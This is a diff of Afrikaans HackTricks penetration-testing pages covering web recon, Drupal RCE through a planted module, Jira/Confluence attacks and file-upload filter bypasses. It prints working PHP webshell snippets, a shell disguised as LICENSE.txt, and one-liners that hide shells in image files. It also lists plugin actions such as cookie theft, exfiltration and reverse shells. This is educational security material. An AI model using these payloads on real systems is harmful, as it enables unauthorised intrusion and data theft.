* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveiligheid professionele.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
||||
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
||||
Hulpmiddels:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
||||
|
@ -259,10 +259,10 @@ Hulpmiddels:
|
|||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliceerde" URL's verwyder.
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliceerde funksies (gebaseer op js imports).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies om te gebruik.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
||||
|
||||
**Aanbevole woordlyste:**
|
||||
|
||||
|
@ -283,19 +283,19 @@ Hulpmiddels:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._
|
||||
_Nota dat enige tyd wanneer 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
|
||||
|
||||
### Wat om te kontroleer op elke lêer wat gevind is
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word.
|
||||
* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
|
||||
* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
|
||||
* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. As jy kan, kan jy probeer om** versteekte parameters op elke uitvoerbare web lêer te soek.
|
||||
* _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** binne kommentaar aan die **regterkant** van die **bladsy** te **versteek** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te **versteek**.
|
||||
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **versteekte funksionaliteit** vind.
|
||||
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
||||
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
|
||||
|
@ -310,7 +310,7 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
|||
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
||||
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
||||
* **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te **monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
|
||||
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
||||
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
|
@ -327,17 +327,17 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
|||
|
||||
**502 Proxy Fout**
|
||||
|
||||
As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
|
||||
As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
|
||||
|
||||
**NTLM Verifikasie - Inligting openbaar**
|
||||
|
||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeldingsvorm vind wat om jou **akkrediteer** (en om 'n **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
|
||||
As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
|
||||
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
||||
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Oorplasing (CTF)**
|
||||
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word nie (aangesien die blaaiers die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaiers die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
|
||||
|
||||
### Web Kwesbaarhede Kontroleer
|
||||
|
||||
|
@ -357,9 +357,9 @@ Vind meer inligting oor web kwesbaarhede in:
|
|||
|
||||
Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat kwesbaarhede kan invoeg.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
In ouer weergawes van Drupal **(voor weergawe 8)**, was dit moontlik om as 'n admin aan te meld en **die `PHP filter` module te aktiveer**, wat "Ingebedde PHP kode/snippets toelaat om geëvalueer te word." Maar vanaf weergawe 8 is hierdie module nie standaard geïnstalleer nie.
|
||||
{% endhint %}
|
||||
|
||||
Jy moet die **plugin php geïnstalleer hê** (kyk dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
|
||||
Jy moet die **plugin php geïnstalleer hê** (kontroleer dit deur toegang te verkry tot _/modules/php_ en as dit 'n **403** teruggee, dan **bestaan dit**, as **nie gevind nie**, dan is die **plugin php nie geïnstalleer nie**)
|
||||
|
||||
Gaan na _Modules_ -> (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
|
||||
|
||||
|
@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
|
|||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids weier.
|
||||
* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids ontken.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
|
@ -97,7 +97,7 @@ Voor aktivering:
|
|||
|
||||
Na aktivering:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -194,7 +194,7 @@ php_flag engine on
|
|||
```
|
||||
Waarom is hierdie truuk cool?
|
||||
|
||||
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaat word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
|
||||
Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaai word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
|
||||
|
||||
Waarom noem ons ons Webshell LICENSE.txt?
|
||||
|
||||
|
@ -255,7 +255,7 @@ Dan, benut ons weer die _Voeg Dokument_ (/media/add/document) funksie om 'n Webs
|
|||
|
||||
Die laaste deel bestaan uit interaksie met die Webshell.
|
||||
|
||||
Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer via 'n Webblaaier raadpleeg.
|
||||
Soos in die volgende skermskoot getoon, as die koekie wat deur ons Webshell verwag word nie gedefinieer is nie, kry ons die daaropvolgende resultaat wanneer ons die lêer via 'n webblaaier raadpleeg.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -279,7 +279,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
|
|||
|
||||
## Kontroleer Privileges
|
||||
|
||||
In Jira, **privileges kan deur enige gebruiker nagegaan word**, geverifieer of nie, deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **sekuriteitskwesie** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so, **onverwagte privileges vir geverifieerde gebruikers** beklemtoon ook 'n **kwesie**.
|
||||
In Jira, **privileges kan deur enige gebruiker nagegaan word**, geverifieer of nie, deur die eindpunte `/rest/api/2/mypermissions` of `/rest/api/3/mypermissions`. Hierdie eindpunte onthul die gebruiker se huidige privileges. 'n Noemenswaardige bekommernis ontstaan wanneer **nie-geverifieerde gebruikers privileges hou**, wat 'n **veiligheidskwesbaarheid** aandui wat moontlik in aanmerking kan kom vir 'n **bounty**. Net so, **onverwagte privileges vir geverifieerde gebruikers** beklemtoon ook 'n **kwesbaarheid**.
|
||||
|
||||
'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** moet insluit. Hierdie vereiste is daarop gemik om **sekuriteit te verbeter** deur die privileges wat nagegaan word, spesifiek aan te dui: [kyk dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
'n Belangrike **opdatering** is gemaak op **1 Februarie 2019**, wat vereis dat die 'mypermissions' eindpunt 'n **'permission' parameter** insluit. Hierdie vereiste is daarop gemik om **veiligheid te verbeter** deur die privileges wat nagegaan word, spesifiek aan te dui: [kyk dit hier](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -123,13 +123,13 @@ Sodra 'n XSS gevind is, kan jy in [**hierdie github repo**](https://github.com/c
|
|||
Hierdie is 'n paar van die aksies wat 'n kwaadwillige plugin kan uitvoer:
|
||||
|
||||
* **Plugins van Administrators wegsteek**: Dit is moontlik om die kwaadwillige plugin weg te steek deur 'n paar front-end javascript in te voeg.
|
||||
* **Exfiltrering van Aanhangsels en Bladsye**: Laat toe om toegang te verkry en al die data te exfiltreer.
|
||||
* **Steling van Sessie Tokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
|
||||
* **Opdrag Uitvoering**: Dit is natuurlik moontlik om 'n plugin te skep wat kode sal uitvoer.
|
||||
* **Exfiltrating Attachments and Pages**: Laat toe om toegang te verkry en al die data te exfiltreer.
|
||||
* **Stelen van Sessie Tokens**: Voeg 'n eindpunt by wat die headers in die antwoord (met die koekie) sal weergee en 'n paar javascript wat dit sal kontak en die koekies sal lek.
|
||||
* **Opdrag Uitvoering**: Natuurlik is dit moontlik om 'n plugin te skep wat kode sal uitvoer.
|
||||
* **Reverse Shell**: Of 'n reverse shell kry.
|
||||
* **DOM Proxying**: As die confluence binne 'n private netwerk is, sal dit moontlik wees om 'n verbinding deur die blaaier van 'n gebruiker met toegang daartoe te vestig en byvoorbeeld die bediener opdragte deur dit uit te voer.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
|
@ -141,9 +141,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is besig om aan te stel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -36,7 +36,7 @@ Ander nuttige uitbreidings:
|
|||
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofdletters**: _pHp, .pHP5, .PhAr ..._
|
||||
1. As hulle van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met 'n paar **hoofletters**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding by te voeg (gebruik ook vorige uitbreidings):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
|
@ -84,13 +84,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
|
||||
`\` of jy kan ook **die payload direk** in 'n beeld invoeg:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* As **kompressie aan jou beeld** bygevoeg word, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur 'n paar standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php) te gebruik, sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Die webblad kan ook die **beeld** **hergroott** deur byvoorbeeld die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
* 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om 'n teks in te voeg wat **kompressie sal oorleef**.
|
||||
* [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Ander Truuks om te kontroleer
|
||||
|
@ -125,7 +125,7 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
|
|||
|
||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
